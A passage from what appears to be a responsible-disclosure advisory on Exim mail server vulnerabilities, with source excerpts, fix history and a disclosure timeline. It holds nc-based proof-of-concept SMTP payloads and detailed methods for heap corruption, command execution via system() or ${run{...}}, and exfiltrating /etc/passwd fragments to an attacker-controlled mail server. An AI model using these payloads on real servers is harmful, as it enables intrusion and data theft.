1779 { 1780 int oldsize = header_size; 1781 /* header_size += 256; */ 1782 header_size *= 2; 1783 if (!store_extend(next->text, oldsize, header_size)) 1784 { 1785 BOOL release_ok = store_last_get[store_pool] == next->text; 1786 uschar *newtext = store_get(header_size); 1787 memcpy(newtext, next->text, ptr); 1788 if (release_ok) store_release(next->text); 1789 next->text = newtext; 1790 } 1791 } ------------------------------------------------------------------------ Ironically, this vulnerability was the most difficult to exploit: - when the integer header_size overflows, it becomes negative (INT_MIN), but we cannot exploit the resulting back-jump at line 1786 (Digression 1b), because the free size of the current memory block also becomes negative (because 0 - INT_MIN = INT_MIN, the “Leblancian Paradox”), which prevents us from writing to this back-jumped memory block; - to overflow the integer header_size, we must send 1GB to Exim: consequently, our exploit must succeed after only a few tries (in particular, we cannot brute-force ASLR). Note: we can actually overflow header_size with 1GB / 2 = 512MB; if we send a first line that ends with "\r\n", then Exim transforms every bare ‘\n’ that we send into "\n " (a continuation line): ------------------------------------------------------------------------ 1814 if (ch == ‘\n’) 1815 { 1816 if (first_line_ended_crlf == TRUE_UNSET) first_line_ended_crlf = FALSE; 1817 else if (first_line_ended_crlf) receive_ungetc(' '); ------------------------------------------------------------------------ ------------------------------------------------------------------------ Proof of concept ------------------------------------------------------------------------ ( sleep 10; echo 'EHLO test’; sleep 3; echo 'MAIL FROM:<>’; sleep 3; echo 'RCPT TO:postmaster’; sleep 3; echo 'DATA’; sleep 3; printf 'first_line_ended_crlf:TRUE\r\n \n\n\r\nPDKIM_ERR_LONG_LINE:’; perl -e 'print “a” x 16384’; printf '\r\nvery_long_header:’; for ((i=0; i<64; i++)); do echo “`date` $i” >&2; perl -e 'print “\n” x 16777216’; done ) | nc -n -v 192.168.56.103 25 Program received signal SIGSEGV, Segmentation fault. ------------------------------------------------------------------------ Exploitation ------------------------------------------------------------------------ To exploit this vulnerability (on Debian oldstable, for example): 1/ We send three separate mails (in the same SMTP session) to achieve the following memory layout: mmap memory -----|-------------------|-------------------|-------------------|----- … |n|l| mblock3 |n|l| mblock2 |n|l| mblock1 | … -----|-------------------|-------------------|±-----------------|----- | heap memory | -------------------------|v-------------|----- … |N|L|N|L|N|L|N|L|N|L|n|l| hblock | … -------------------------|--------------|----- <- fake storeblock -> where n and l are the next and length members of a storeblock structure (a linked list of allocated memory blocks): ------------------------------------------------------------------------ 71 typedef struct storeblock { 72 struct storeblock *next; 73 size_t length; 74 } storeblock; ------------------------------------------------------------------------ - we first allocate a 1GB mmap block (mblock1) by sending a mail that contains a 256MB header of bare ‘\n’ characters; the next member of mblock1’s storeblock structure initially points to a heap block (hblock, which immediately follows data that we control); - we allocate a second 1GB mmap block (mblock2) by sending a mail that also contains a 256MB header of bare ‘\n’ characters; - we allocate a third 1GB mmap block (mblock3) by sending a mail that contains a 512MB header; this overflows the integer header_size, and forward-overflows mblock3 (Digression 1a), into mblock2 and mblock1: we overwrite mblock2’s next pointer with NULL (to avoid a crash in store_release() at line 1788) and we partially overwrite mblock1’s next pointer (with a single null byte). 2/ After this overflow, store_reset() traverses the linked list of allocated memory blocks and follows mblock1’s overwritten next pointer, to our own “fake storeblock” structure: a NULL next pointer N (to avoid a crash in store_reset()), and a large length L that covers the entire address space (for example, 0x7050505070505050). As a result, Exim’s allocator believes that the entire heap is one large, free block of POOL_MAIN memory (Exim’s main type of memory allocations). This powerful exploit primitive gives us write access to the entire heap, through POOL_MAIN allocations. But the heap also contains other types of allocations: we exploit this primitive to overwrite POOL_MAIN allocations with raw malloc()s (for information disclosure) and to overwrite POOL_PERM allocations with POOL_MAIN allocations (for arbitrary code execution). 3/ Information disclosure: - First, we send an EHLO command that allocates a large string in raw malloc() memory. - Second, we send an invalid RCPT TO command that allocates a small string in POOL_MAIN memory (an error message); this small POOL_MAIN string overwrites the beginning of the large malloc() string. - Next, we send an invalid EHLO command that free()s the large malloc() string; this free() overwrites the beginning of the small POOL_MAIN string with a pointer to the libc (a member of libc’s malloc_chunk structure). - Last, we send an invalid DATA command that responds with an error message: the small, overwritten POOL_MAIN string, and hence the libc pointer. This information leak is essentially the technique that we used for CVE-2015-0235 (GHOST). 4/ Arbitrary code execution: - First, we start a new mail (MAIL FROM, RCPT TO, and DATA commands); this calls dkim_exim_verify_init() and allocates a pdkim_ctx structure in POOL_PERM memory (DKIM is enabled by default since Exim 4.70): ------------------------------------------------------------------------ 249 typedef struct pdkim_ctx { … 263 int(*dns_txt_callback)(char *, char *); … 274 } pdkim_ctx; ------------------------------------------------------------------------ - Second, we send a mail header that is allocated to POOL_MAIN memory, and overwrite the pdkim_ctx structure: we overwrite dns_txt_callback with a pointer to libc’s system() function (we derive this pointer from the information-leaked libc pointer). - Next, we send a “DKIM-Signature:” header (we particularly care about its “selector” field). - Last, we end our mail; this calls dkim_exim_verify_finish(), which calls the overwritten dns_txt_callback with a first argument that we control (through the selector field of our “DKIM-Signature:” header): ------------------------------------------------------------------------ 1328 dns_txt_name = string_sprintf("%s._domainkey.%s.", sig->selector, sig->domain); … 1333 if ( ctx->dns_txt_callback(CS dns_txt_name, CS dns_txt_reply) != PDKIM_OK ------------------------------------------------------------------------ In other words, we execute system() with an arbitrary command. ======================================================================== CVE-2020-28023: Out-of-bounds read in smtp_setup_msg() ======================================================================== In smtp_setup_msg(), which reads the SMTP commands sent by a client to the Exim server: ------------------------------------------------------------------------ 1455 int smtp_ch_index = 0; … 1459 uschar smtp_connection_had[SMTP_HBUFF_SIZE]; ------------------------------------------------------------------------ 126 #define HAD(n) \ 127 smtp_connection_had[smtp_ch_index++] = n; \ 128 if (smtp_ch_index >= SMTP_HBUFF_SIZE) smtp_ch_index = 0 … 5283 case DATA_CMD: 5284 HAD(SCH_DATA); … 5305 smtp_printf("503 Valid RCPT command must precede %s\r\n", FALSE, 5306 smtp_names[smtp_connection_had[smtp_ch_index-1]]); ------------------------------------------------------------------------ - line 5284 (line 128 in HAD()) can reset smtp_ch_index to 0 (an index into the circular buffer smtp_connection_had[]); - line 5306 therefore reads smtp_connection_had[-1] out-of-bounds (an unsigned char index into the array smtp_names[]); - depending on the value of this unsigned char index, line 5306 may also read smtp_names[smtp_connection_had[-1]] out-of-bounds (a pointer to a string); - and line 5305 sends this string to the SMTP client and may therefore disclose sensitive information to an unauthenticated remote attacker. On Debian, this out-of-bounds read is not exploitable, because smtp_connection_had[-1] is always 0 and line 5305 sends smtp_names[0] (“NONE”) to the client. However, the memory layout of the Exim binary may be more favorable to attackers on other operating systems. ------------------------------------------------------------------------ Proof of concept ------------------------------------------------------------------------ ( sleep 10; echo 'EHLO test’; sleep 3; echo 'MAIL FROM:<>’; sleep 3; for ((i=0; i<20-3; i++)); do echo 'RCPT TO:nonexistent’; done; sleep 3; echo 'DATA’; sleep 3 ) | nc -n -v 192.168.56.101 25 … 503-All RCPT commands were rejected with this error: 503-501 nonexistent: recipient address must contain a domain 503 Valid RCPT command must precede NONE ------------------------------------------------------------------------ History ------------------------------------------------------------------------ This vulnerability was introduced in Exim 4.88: ------------------------------------------------------------------------ commit 18481de384caecff421f23f715be916403f5d0ee Date: Mon Jul 11 23:36:45 2016 +0100 … - smtp_printf(“503 Valid RCPT command must precede DATA\r\n”); + smtp_printf("503 Valid RCPT command must precede %s\r\n", + smtp_names[smtp_connection_had[smtp_ch_index-1]]); ------------------------------------------------------------------------ and was independently discovered by Exim’s developers in July 2020: ------------------------------------------------------------------------ commit afaf5a50b05810d75c1f7ae9d1cd83697815a997 Date: Thu Jul 23 16:32:29 2020 +0100 … +#define SMTP_HBUFF_PREV(n) ((n) ? (n)-1 : SMTP_HBUFF_SIZE-1) … smtp_printf("503 Valid RCPT command must precede %s\r\n", FALSE, - smtp_names[smtp_connection_had[smtp_ch_index-1]]); + smtp_names[smtp_connection_had[SMTP_HBUFF_PREV(smtp_ch_index)]]); ------------------------------------------------------------------------ ======================================================================== CVE-2020-28021: New-line injection into spool header file (remote) ======================================================================== An authenticated SMTP client can add an AUTH= parameter to its MAIL FROM command. This AUTH= parameter is decoded by auth_xtextdecode(): ------------------------------------------------------------------------ 4697 case ENV_MAIL_OPT_AUTH: … 4703 if (auth_xtextdecode(value, &authenticated_sender) < 0) ------------------------------------------------------------------------ and the resulting authenticated_sender is written to the spool header file without encoding or escaping: ------------------------------------------------------------------------ 212 if (authenticated_sender) 213 fprintf(fp, "-auth_sender %s\n", authenticated_sender); ------------------------------------------------------------------------ Unfortunately, authenticated_sender can contain arbitrary characters, because auth_xtextdecode() translates hexadecimal +XY sequences into equivalent characters (for example, +0A into ‘\n’): an authenticated remote attacker can inject new lines into the spool header file and execute arbitrary commands, as root. This vulnerability is particularly problematic for Internet service providers and mail providers that deploy Exim and offer mail accounts but not shell accounts. It is also problematic when combined with an authentication bypass such as CVE-2020-12783, discovered by Orange Tsai in May 2020 (https://bugs.exim.org/show_bug.cgi?id=2571). ------------------------------------------------------------------------ Proof of concept ------------------------------------------------------------------------ nc -n -v 192.168.56.101 25 … EHLO test … 250-AUTH PLAIN … AUTH PLAIN AHVzZXJuYW1lAG15c2VjcmV0 235 Authentication succeeded MAIL FROM:<> AUTH=Raven+0AReyes 250 OK RCPT TO:postmaster 250 Accepted DATA 354 Enter message, ending with “.” on a line by itself . 250 OK id=1kb6VC-0003BW-Rg 2020-11-06 13:30:42 1kb6VC-0003BW-Rg Format error in spool file 1kb6VC-0003BW-Rg-H: size=530 ------------------------------------------------------------------------ Exploitation ------------------------------------------------------------------------ Our exploit for CVE-2020-28021 is essentially the same as our exploit for CVE-2020-28015. The main difference is that Exim’s ACLs limit the length of our header lines to 998 characters. However, this limit can be easily bypassed, by splitting long header lines into 990-character lines separated by "\n " (i.e., continuation lines). We can also transform CVE-2020-28021 into an information disclosure: - First, we inject an arbitrary recipient line into the spool header file: an arbitrary recipient address (for example, [email protected]) and an errors_to string that is read out-of-bounds (the same technique as for CVE-2020-28015). - Next, we wait for Exim to connect to our own mail server, fake.com’s MX (we use https://github.com/iphelix/dnschef to set up a quick and easy DNS server). - Last, we retrieve the out-of-bounds errors_to string from Exim’s MAIL FROM command (which, in this example, contains a fragment of /etc/passwd): ------------------------------------------------------------------------ ( sleep 10; echo 'EHLO test’; sleep 3; echo 'AUTH PLAIN AHVzZXJuYW1lAG15c2VjcmV0’; sleep 3; echo 'MAIL FROM:<> [email protected]+208192,-1#1+0A+0A990*’; sleep 3; echo 'RCPT TO:postmaster’; sleep 3; echo 'DATA’; sleep 3; printf 'Message-Id: X\n’; printf 'From: X@localhost\n’; printf 'Date: X\n’; printf ‘X:%0990d2* X\n’ 0; echo '.’; sleep 10 ) | nc -n -v 192.168.56.101 25 nc -n -v -l 25 … Ncat: Connection from 192.168.56.101. … MAIL FROM: … RCPT TO: … ------------------------------------------------------------------------ ======================================================================== CVE-2020-28022: Heap out-of-bounds read and write in extract_option() ======================================================================== The name=value parameters such as AUTH= are extracted from MAIL FROM and RCPT TO commands by extract_option(): ------------------------------------------------------------------------ 1994 static BOOL 1995 extract_option(uschar **name, uschar **value) 1996 { 1997 uschar *n; 1998 uschar *v = smtp_cmd_data + Ustrlen(smtp_cmd_data) - 1; … 2001 while (v > smtp_cmd_data && *v != ‘=’ && !isspace(*v)) 2002 { … 2005 if (*v == ‘"’) do v–; while (*v != ‘"’ && v > smtp_cmd_data+1); 2006 v–; 2007 } 2008 2009 n = v; ------------------------------------------------------------------------ Unfortunately, this function can decrease v (value) and hence n (name) out of smtp_cmd_data’s bounds (into the preceding smtp_cmd_buffer): - at line 2001, v can point to smtp_cmd_data + 1; - at line 2005, v-- decrements v to smtp_cmd_data; - at line 2006, v-- decrements v to smtp_cmd_data - 1. Subsequently, the code in extract_option() and smtp_setup_msg() reads from and writes to v and n out of smtp_cmd_data’s bounds. If exploitable, this vulnerability would allow an unauthenticated remote attacker to execute arbitrary commands as the “exim” user. So far we were unable to exploit this vulnerability: although we are able to decrease v and n out of smtp_cmd_data’s bounds, we were unable to decrease v or n out of the preceding smtp_cmd_buffer’s bounds. Surprisingly, however, we do use this vulnerability in our proof-of-concept for CVE-2020-28026. ------------------------------------------------------------------------ History ------------------------------------------------------------------------ This vulnerability was introduced in Exim 4.89: ------------------------------------------------------------------------ commit d7a2c8337f7b615763d4429ab27653862756b6fb Date: Tue Jan 24 18:17:10 2017 +0000 … -while (v > smtp_cmd_data && *v != ‘=’ && !isspace(*v)) v–; +while (v > smtp_cmd_data && *v != ‘=’ && !isspace(*v)) + { + /* Take care to not stop at a space embedded in a quoted local-part */ + + if (*v == ‘"’) do v–; while (*v != ‘"’ && v > smtp_cmd_data+1); + v–; + } ------------------------------------------------------------------------ ======================================================================== CVE-2020-28026: Line truncation and injection in spool_read_header() ======================================================================== spool_read_header() calls fgets() to read the lines from a spool header file into the 16KB big_buffer. The first section of spool_read_header() enlarges big_buffer dynamically if fgets() truncates a line (if a line is longer than 16KB): ------------------------------------------------------------------------ 460 if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR; … 462 while ( (len = Ustrlen(big_buffer)) == big_buffer_size-1 463 && big_buffer[len-1] != ‘\n’ … 468 buf = store_get_perm(big_buffer_size *= 2, FALSE); ------------------------------------------------------------------------ Unfortunately, the second section of spool_read_header() does not enlarge big_buffer: ------------------------------------------------------------------------ 756 for (recipients_count = 0; recipients_count < rcount; recipients_count++) … 765 if (Ufgets(big_buffer, big_buffer_size, fp) == NULL) goto SPOOL_READ_ERROR; ------------------------------------------------------------------------ If DSN (Delivery Status Notification) is enabled (it is disabled by default), an attacker can send a RCPT TO command with a long ORCPT= parameter that is written to the spool header file by spool_write_header(): ------------------------------------------------------------------------ 292 for (int i = 0; i < recipients_count; i++) 293 { 294 recipient_item *r = recipients_list + i; … 302 uschar * errors_to = r->errors_to ? r->errors_to : US""; … 305 uschar * orcpt = r->orcpt ? r->orcpt : US""; 306 307 fprintf(fp, "%s %s %d,%d %s %d,%d#3\n", r->address, orcpt, Ustrlen(orcpt), 308 r->dsn_flags, errors_to, Ustrlen(errors_to), r->pno); ------------------------------------------------------------------------ This long ORCPT= parameter truncates the recipient line (when read by fgets() in spool_read_header()) and injects the remainder of the line as a separate line, thereby emulating the ‘\n’ injection of CVE-2020-28015 and CVE-2020-28021 (albeit in a weaker form). We have not tried to exploit this vulnerability; if exploitable, it would allow an unauthenticated remote attacker to execute arbitrary commands as root (if DSN is enabled). ------------------------------------------------------------------------ Proof of concept ------------------------------------------------------------------------ - Intuitively, it seems impossible to generate a recipient line longer than 16KB (big_buffer_size), because the Exim server reads our RCPT TO command into a 16KB buffer (smtp_cmd_buffer) that must also contain (besides our long ORCPT= parameter) "RCPT TO:", "NOTIFY=DELAY", and the recipient address. - We can, however, use the special recipient "postmaster", which is automatically qualified (by appending Exim’s primary hostname) before it is written to the spool header file. This allows us to enlarge the recipient line, but is not sufficient to control the end of the truncated line (unless Exim’s primary hostname is longer than 24 bytes, which is very unlikely). - But we can do better: we can use CVE-2020-28022 to read our ORCPT= parameter out of smtp_cmd_data’s bounds (from the end of the preceding smtp_cmd_buffer). This allows us to further enlarge the recipient line (by 10 bytes, because “postmaster” is now included in our ORCPT=), but is not sufficient to reliably control the end of the truncated line (unless Exim’s primary hostname is longer than 14 bytes, which is still very unlikely). - But we can do much better: we do not need postmaster’s automatic qualification anymore, because the recipient is now included in our ORCPT= parameter – the longer the recipient, the better. On Debian, the user “systemd-timesync” exists by default, and “localhost” is one of Exim’s local_domains: the recipient “systemd-timesync@localhost” is long enough to reliably control the end of the truncated recipient line, and allows us to read and write out of big_buffer’s bounds (lines 859 and 863, and beyond): ------------------------------------------------------------------------ 840 else if (*p == ‘#’) … 848 (void)sscanf(CS p+1, "%d", &flags); 849 850 if ((flags & 0x01) != 0) /* one_time data exists */ 851 { 852 int len; 853 while (isdigit(*(–p)) || *p == ‘,’ || *p == '-'); 854 (void)sscanf(CS p+1, "%d,%d", &len, &pno); 855 *p = 0; 856 if (len > 0) 857 { 858 p -= len; 859 errors_to = string_copy_taint(p, TRUE); 860 } 861 } 862 863 *(–p) = 0; /* Terminate address */ ------------------------------------------------------------------------ For example, the following proof-of-concept accesses memory at 1MB below big_buffer: ------------------------------------------------------------------------ ( sleep 10; echo 'EHLO test’; sleep 3; echo 'MAIL FROM:<>’; sleep 3; perl -e 'print "NOOP"; print " " x (16384-9); print "ORCPT\n"’; sleep 3; echo 'RCPT TO:x"’; sleep 3; perl -e 'print “RCPT TO:(\”)systemd-timesync\@localhost("; print “A” x (16384-74); print "xxx1048576,-1#1x NOTIFY=DELAY\n"’; sleep 3; echo 'DATA’; sleep 3; echo '.’; sleep 10 ) | nc -n -v 192.168.56.101 25 Program received signal SIGSEGV, Segmentation fault. ------------------------------------------------------------------------ ======================================================================== CVE-2020-28019: Failure to reset function pointer after BDAT error ======================================================================== To read SMTP commands and data from a client, Exim calls the function pointer receive_getc, which points to either smtp_getc() (a cleartext connection) or tls_getc() (an encrypted connection). If the client uses the BDAT command (instead of DATA) to send a mail, then Exim saves the current value of receive_getc to the function pointer lwr_receive_getc and sets receive_getc to the wrapper function bdat_getc(): ------------------------------------------------------------------------ 5242 case BDAT_CMD: … 5271 lwr_receive_getc = receive_getc; … 5275 receive_getc = bdat_getc; ------------------------------------------------------------------------ Exim normally resets receive_getc to its original value (lwr_receive_getc) when the client ends its mail. Unfortunately, Exim fails to reset receive_getc in some cases; for example, if the mail is larger than message_size_limit (50MB by default). Consequently, Exim re-enters smtp_setup_msg() while receive_getc still points to bdat_getc(), and: - smtp_read_command() calls receive_getc and hence bdat_getc(), which also calls smtp_read_command(), which is not a re-entrant function and may have unintended consequences; - if the client issues another BDAT command, then receive_getc and lwr_receive_getc both point to bdat_getc(), which calls itself recursively and leads to stack exhaustion; for example: ------------------------------------------------------------------------ ( sleep 10; echo 'EHLO test’; sleep 3; echo 'MAIL FROM:<>’; sleep 3; echo 'RCPT TO:postmaster’; sleep 3; echo "BDAT $((52428800+100))"; perl -e 'print “A” x (52428800+1)'; sleep 3; echo 'MAIL FROM:<>’; sleep 3; echo 'RCPT TO:postmaster’; sleep 3; echo ‘BDAT 8388608’ ) | nc -n -v 192.168.56.101 25 Program received signal SIGSEGV, Segmentation fault. ------------------------------------------------------------------------ This vulnerability is very similar to CVE-2017-16944, discovered by Meh Chang in November 2017 (https://bugs.exim.org/show_bug.cgi?id=2201). ------------------------------------------------------------------------ History ------------------------------------------------------------------------ This vulnerability was introduced in Exim 4.88: ------------------------------------------------------------------------ commit 7e3ce68e68ab9b8906a637d352993abf361554e2 Date: Wed Jul 13 21:28:18 2016 +0100 … + lwr_receive_getc = receive_getc; + lwr_receive_ungetc = receive_ungetc; + receive_getc = bdat_getc; + receive_ungetc = bdat_ungetc; ------------------------------------------------------------------------ ======================================================================== CVE-2020-28024: Heap buffer underflow in smtp_ungetc() ======================================================================== Exim calls smtp_refill() to read input characters from an SMTP client into the 8KB smtp_inbuffer, and calls smtp_getc() to read individual characters from smtp_inbuffer: ------------------------------------------------------------------------ 501 static BOOL 502 smtp_refill(unsigned lim) 503 { … 512 rc = read(fileno(smtp_in), smtp_inbuffer, MIN(IN_BUFFER_SIZE-1, lim)); … 515 if (rc <= 0) 516 { … 536 return FALSE; 537 } … 541 smtp_inend = smtp_inbuffer + rc; 542 smtp_inptr = smtp_inbuffer; 543 return TRUE; 544 } ------------------------------------------------------------------------ 559 int 560 smtp_getc(unsigned lim) 561 { 562 if (smtp_inptr >= smtp_inend) 563 if (!smtp_refill(lim)) 564 return EOF; 565 return *smtp_inptr++; 566 } ------------------------------------------------------------------------ Exim implements an smtp_ungetc() function to push characters back into smtp_inbuffer (characters that were read from smtp_inbuffer by smtp_getc()): ------------------------------------------------------------------------ 795 int 796 smtp_ungetc(int ch) 797 { 798 *–smtp_inptr = ch; 799 return ch; 800 } ------------------------------------------------------------------------ Unfortunately, Exim also calls smtp_ungetc() to push back “characters” that were not actually read from smtp_inbuffer: EOF (-1), and if BDAT is used, EOD and ERR (-2 and -3). For example, in receive_msg(): ------------------------------------------------------------------------ 1945 if (ch == ‘\r’) 1946 { 1947 ch = (receive_getc)(GETC_BUFFER_UNLIMITED); 1948 if (ch == ‘\n’) 1949 { … 1952 } … 1957 ch = (receive_ungetc)(ch); ------------------------------------------------------------------------ - at line 1947, receive_getc (smtp_getc()) can return EOF; - at line 1957, this EOF is passed to receive_ungetc (smtp_ungetc()); - at line 798 (in smtp_ungetc()), if smtp_inptr is exactly equal to smtp_inbuffer, then it is decremented to smtp_inbuffer - 1, and EOF is written out of smtp_inbuffer’s bounds. To return EOF in receive_msg() while smtp_inptr is equal to smtp_inbuffer, we must initiate a TLS-encrypted connection: - either through TLS-on-connect (usually on port 465), which does not use smtp_inptr nor smtp_inbuffer; - or through STARTTLS, which resets smtp_inptr to smtp_inbuffer in the following code (if X_PIPE_CONNECT is enabled, the default since Exim 4.94): ------------------------------------------------------------------------ 5484 if (receive_smtp_buffered()) 5485 { 5486 DEBUG(D_any) 5487 debug_printf(“Non-empty input buffer after STARTTLS; naive attack?\n”); 5488 if (tls_in.active.sock < 0) 5489 smtp_inend = smtp_inptr = smtp_inbuffer; ------------------------------------------------------------------------ In both cases: - first, we initiate a TLS-encrypted connection, which sets receive_getc and receive_ungetc to tls_getc() and tls_ungetc() (while smtp_inptr is equal to smtp_inbuffer); - second, we start a mail (MAIL FROM, RCPT TO, and DATA commands) and enter receive_msg(); - third, we send a bare ‘\r’ character and reach line 1945; - next, we terminate the TLS connection, which resets receive_getc and receive_ungetc to smtp_getc() and smtp_ungetc() (while smtp_inptr is still equal to smtp_inbuffer); - last, we close the underlying TCP connection, which returns EOF at line 1947 and writes EOF out of smtp_inbuffer’s bounds at line 1957 (line 798 in smtp_ungetc()). We have not tried to exploit this vulnerability; if exploitable, it would allow an unauthenticated remote attacker to execute arbitrary commands as the “exim” user (if TLS and either TLS-on-connect or X_PIPE_CONNECT are enabled). ======================================================================== CVE-2020-28018: Use-after-free in tls-openssl.c ======================================================================== If Exim is built with OpenSSL, and if STARTTLS is enabled, and if PIPELINING is enabled (the default), and if X_PIPE_CONNECT is disabled (the default before Exim 4.94), then tls_write() in tls-openssl.c is vulnerable to a use-after-free. If PIPELINING is used, Exim buffers the SMTP responses to MAIL FROM and RCPT TO commands (in tls-openssl.c): ------------------------------------------------------------------------ 2909 int 2910 tls_write(void * ct_ctx, const uschar *buff, size_t len, BOOL more) 2911 { … 2915 static gstring * server_corked = NULL; 2916 gstring ** corkedp = ct_ctx 2917 ? &((exim_openssl_client_tls_ctx *)ct_ctx)->corked : &server_corked; 2918 gstring * corked = *corkedp; … 2933 if (!ct_ctx && (more || corked)) 2934 { … 2940 corked = string_catn(corked, buff, len); … 2946 if (more) 2947 { 2948 *corkedp = corked; 2949 return len; 2950 } ------------------------------------------------------------------------ - at line 2910, ct_ctx is NULL, buff contains the SMTP response, and more is true; - at line 2940, a struct gstring (a "growable string", mentioned in CVE-2020-28009) and its string buffer are allocated in POOL_MAIN memory: ------------------------------------------------------------------------ 29 typedef struct gstring { 30 int size; /* Current capacity of string memory */ 31 int ptr; /* Offset at which to append further chars */ 32 uschar * s; /* The string memory */ 33 } gstring; ------------------------------------------------------------------------ - at line 2948, a pointer to the struct gstring is saved to a local static variable, server_corked. Unfortunately, if smtp_reset() is called (in smtp_setup_msg()), then store_reset() is called and frees all allocated POOL_MAIN memory, but server_corked is not reset to NULL: if tls_write() is called again, the struct gstring and its string buffer are used-after-free. Side note: another use-after-free, CVE-2017-16943, was discovered by Meh Chang in November 2017 (https://bugs.exim.org/show_bug.cgi?id=2199). ------------------------------------------------------------------------ Exploitation ------------------------------------------------------------------------ To reliably control this vulnerability, we must prevent Exim from calling tls_write() between our call to smtp_reset() and the actual use-after-free: - first, we send EHLO and STARTTLS (to initiate a TLS connection); - second, we send EHLO and “MAIL FROM:<>\nNO” (to pipeline the first half of a NOOP command, and to buffer the response to our MAIL FROM command in tls_write()); - third, we terminate the TLS connection (and fall back to cleartext) and send “OP\n” (the second half of our pipelined NOOP command); - next, we send EHLO (to force a call to smtp_reset()) and STARTTLS (to re-initiate a TLS connection); - last, server_corked is used-after-free (in tls_write()) in response to any SMTP command that we send. This use-after-free of a struct gstring (server_corked) and its string buffer (server_corked->s) is the most powerful vulnerability in this advisory: 1/ We overwrite the string buffer (which is sent to us by tls_write()) and transform this use-after-free into an information leak (we leak pointers to the heap). 2/ We overwrite the struct gstring (with an arbitrary string pointer and size) and transform the use-after-free into a read-what-where primitive: we read the heap until we locate Exim’s configuration. 3/ We overwrite the struct gstring (with an arbitrary string pointer) and transform the use-after-free into a write-what-where primitive: we overwrite Exim’s configuration with an arbitrary “${run{command}}” that is executed by expand_string() as the “exim” user (Digression 2). We use a few noteworthy tricks in our exploit: 1/ Information leak: To overwrite the string buffer without overwriting the struct gstring itself, we send several pipelined RCPT TO commands to re-allocate the string buffer (far away from the struct gstring), and overwrite it with header_line structures that contain pointers to the heap. 2/ Read-what-where: We overwrite the struct gstring with arbitrary binary data through the name=value parameter of a MAIL FROM command: - we overwrite the s member with a pointer to the memory that we want to read (a pointer to the heap); - we overwrite the ptr member with the number of bytes that we want to read; - we overwrite the size member with the same number as ptr to prevent string_catn() from writing to the memory that we want to read (at line 2940 in tls_write()). 3/ Write-what-where: We overwrite the struct gstring with arbitrary binary data through the name=value parameter of a MAIL FROM command: - we overwrite the s member with a pointer to the memory that we want to overwrite (a pointer to Exim’s configuration); - we overwrite the ptr member with 0 and the size member with a large arbitrary number; - finally, we send a MAIL FROM command whose response overwrites Exim’s configuration with our arbitrary “${run{…}}” (which is eventually executed by expand_string()). Note: Debian’s Exim packages are built with GnuTLS, not OpenSSL; to rebuild them with OpenSSL, we followed the detailed instructions at https://gist.github.com/ryancdotorg/11025731. ------------------------------------------------------------------------ History ------------------------------------------------------------------------ This vulnerability was introduced in Exim 4.90: ------------------------------------------------------------------------ commit a5ffa9b475a426bc73366db01f7cc92a3811bc3a Date: Fri May 19 22:55:25 2017 +0100 … +static uschar * corked = NULL; +static int c_size = 0, c_len = 0; … +if (is_server && (more || corked)) + { + corked = string_catn(corked, &c_size, &c_len, buff, len); + if (more) + return len; ------------------------------------------------------------------------ ======================================================================== CVE-2020-28025: Heap out-of-bounds read in pdkim_finish_bodyhash() ======================================================================== By default since Exim 4.70, receive_msg() calls dkim_exim_verify_finish() to verify DKIM (DomainKeys Identified Mail) signatures, which calls pdkim_feed_finish(), which calls pdkim_finish_bodyhash(): ------------------------------------------------------------------------ 788 static void 789 pdkim_finish_bodyhash(pdkim_ctx * ctx) 790 { … 799 for (pdkim_signature * sig = ctx->sig; sig; sig = sig->next) 800 { … 825 if ( sig->bodyhash.data 826 && memcmp(b->bh.data, sig->bodyhash.data, b->bh.len) == 0) 827 { … 829 } 830 else 831 { … 838 sig->verify_status = PDKIM_VERIFY_FAIL; 839 sig->verify_ext_status = PDKIM_VERIFY_FAIL_BODY; 840 } 841 } 842 } ------------------------------------------------------------------------ Unfortunately, at line 826, sig->bodyhash.data is attacker-controlled (through a “DKIM-Signature:” mail header) and memcmp() is called without checking first that sig->bodyhash.len is equal to b->bh.len: memcmp() can read sig->bodyhash.data out-of-bounds. If the acl_smtp_dkim is set (it is unset by default), an unauthenticated remote attacker may transform this vulnerability into an information disclosure; we have not fully explored this possibility. ------------------------------------------------------------------------ Proof of concept ------------------------------------------------------------------------ ( sleep 10; echo 'EHLO test’; sleep 3; echo 'MAIL FROM:<>’; sleep 3; echo 'RCPT TO:postmaster’; sleep 3; echo 'DATA’; sleep 30; printf 'DKIM-Signature:a=rsa-sha512;bh=QUFB\r\n\r\nXXX\r\n.\r\n’; sleep 30 ) | nc -n -v 192.168.56.101 25 Breakpoint 6, 0x000055e180320401 in pdkim_finish_bodyhash (ctx=) at pdkim.c:825 (gdb) print sig->bodyhash $2 = {data = 0x55e181b9ed10 "AAA", len = 3} (gdb) print b->bh.len $3 = 64 ------------------------------------------------------------------------ History ------------------------------------------------------------------------ This vulnerability was introduced in Exim 4.70: ------------------------------------------------------------------------ commit 80a47a2c9633437d4ceebd214cd44abfbd4f4543 Date: Wed Jun 10 07:34:04 2009 +0000 … + if (memcmp(bh,sig->bodyhash, + (sig->algo == PDKIM_ALGO_RSA_SHA1)?20:32) == 0) { ------------------------------------------------------------------------ ======================================================================== Acknowledgments ======================================================================== We thank Exim’s developers for their hard work on this security release. We thank Mitre’s CVE Assignment Team for their quick responses to our requests. We thank Damien Miller for his kind answers to our seteuid() questions. We also thank the members of distros@openwall. ======================================================================== Timeline (abridged) ======================================================================== 2020-10-20: We (qsa@qualys) informed Exim (security@exim) that we audited central parts of the code, discovered multiple vulnerabilities, and are working on an advisory. Exim immediately acknowledged our mail. 2020-10-28: We sent the first draft of our advisory to Exim. They immediately acknowledged our mail, and started to work on patches. 2020-10-29: We sent a list of 10 secondary issues to Exim (to the best of our knowledge, these issues are not CVE-worthy). 2020-10-30: We requested 20 CVEs from Mitre. They were assigned on the same day, and we immediately transmitted them to Exim. 2020-11-13: Exim gave us read access to their private Git repository. We started reviewing their first set of patches (which tackled 7 CVEs). 2020-11-17 and 2020-11-18: We sent a two-part patch review to Exim (several patches were incomplete). 2020-12-02: A second set of patches (which tackled 7 secondary issues) appeared in Exim’s private Git repository. We started reviewing it. 2020-12-09: We sent our second patch review to Exim. 2021-01-28: We mailed Exim and offered to work on the incomplete and missing patches (the last commit in Exim’s private Git repository dated from 2020-12-02). 2021-02-05: Exim acknowledged our mail. We started to write a minimal but complete set of patches (on top of exim-4.94+fixes). 2021-02-15: While working on a patch for CVE-2020-28014, we discovered CVE-2021-27216. We requested a CVE from Mitre, and immediately sent a heads-up to Exim. 2021-02-24: We completed our minimal set of patches and sent it to Exim. 2021-04-17: Exim proposed 2021-05-04 for the 